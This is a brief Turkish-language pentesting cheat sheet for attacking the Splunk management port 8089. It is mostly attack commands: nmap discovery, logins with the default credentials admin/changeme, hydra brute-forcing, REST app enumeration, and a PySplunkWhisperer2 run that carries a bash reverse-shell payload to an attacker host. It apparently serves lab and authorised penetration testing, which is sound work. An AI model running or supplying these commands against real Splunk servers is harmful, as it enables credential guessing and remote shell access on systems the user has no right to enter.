8089 - Pentesting Splunkd

Splunk siem

Splunk yönetim portu (8089) API ve uygulama yükleme yüzeyi sunar. Admin = reverse shell app. Hedef lab IP’si üzerinde komutları 8089 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 8089 doğrula.

2. Default/brute auth.

3. Apps / REST API.

4. Evil app ile shell.

Keşif

nmap -Pn -sV -p8089,8000 TARGET

curl -sk https://TARGET:8089/

curl -sk https://TARGET:8089/services/server/info -u admin:changeme

Auth

admin/changeme, admin/admin

hydra -l admin -P pass.txt https-get://TARGET:8089/services

curl -sk -u admin:pass https://TARGET:8089/services/apps/local

Shell

python3 PySplunkWhisperer2.py --host TARGET --port 8089 --user admin --password pass --payload 'bash -i >& /dev/tcp/ATTACKER/443 0>&1'

searchsploit splunk

Derin enum

Splunkd için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p8089 TARGET

nmap -Pn -p8089 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:8089' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',8089));s.settimeout(3);print(s.recv(4096))"
